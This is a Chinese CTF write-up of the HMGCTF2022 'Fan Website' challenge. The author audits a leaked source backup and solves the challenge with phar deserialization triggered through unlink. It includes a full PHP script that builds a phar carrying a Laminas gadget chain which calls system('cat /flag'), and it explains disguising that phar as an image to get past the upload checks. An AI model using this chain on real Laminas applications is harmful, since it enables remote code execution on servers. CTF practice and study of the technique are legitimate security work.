[HMGCTF2022]Fan Website

发布于 2022-05-07  553 次阅读


得到备份文件

得到一个网站,四处看了看了,随便扫了扫发现了一个www.zip的备份文件,很明显是个源码泄露了

解压用phpsteam打开项目

进行代码审计

该项目是个mvc架构的框架,基于以前审计thinkphp的经验,首先看看控制器和路由,看见了文件上传的点

那应该是绕过了,仔细分析一下代码

因为是白名单,对php标签头有限制,不支持短标签,普通马肯定是传不上去了,那就还可以试试phar反序列化,但是并没有找到可以触发phar文件的代码,而且对phar的文件头进行了限制。

存在phar文件头限制的话是不用担心的,phar只需要文件尾是符合格式就行,触发phar的代码硬是没找到,在看了wp之后才发现unlink也可以触发phar。

解题

那么思路就清晰了,通过反序列化后通过unlink触发

原谅我的代码能力和信息搜集能力过差,,,,没能找到反序列化链,这就不得不使用别人的链子了

<?php

namespace Laminas\View\Resolver{
	class TemplateMapResolver{
		protected $map = ["setBody"=>"system"];
	}
}
namespace Laminas\View\Renderer{
	class PhpRenderer{
		private $__helpers;
		function __construct(){
			$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
		}
	}
}


namespace Laminas\Log\Writer{
	abstract class AbstractWriter{}
	
	class Mail extends AbstractWriter{
		protected $eventsToMail = ["cat /flag"];
		protected $subjectPrependText = null;
		protected $mail;
		function __construct(){
			$this->mail = new \Laminas\View\Renderer\PhpRenderer();
		}
	}
}

namespace Laminas\Log{
	class Logger{
		protected $writers;
		function __construct(){
			$this->writers = [new \Laminas\Log\Writer\Mail()];
		}
	}
}

namespace{
$a = new \Laminas\Log\Logger();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
}

生成phar文件

绕过文件头可以在进行一次压缩,因为phar文件在本质上也是一种压缩文件

压缩成gz文件后修改后缀名,改成png,并在用010editor在文件尾填入垃圾数据

保存成phar1.jpg上传

用unlink触发phar

得到flag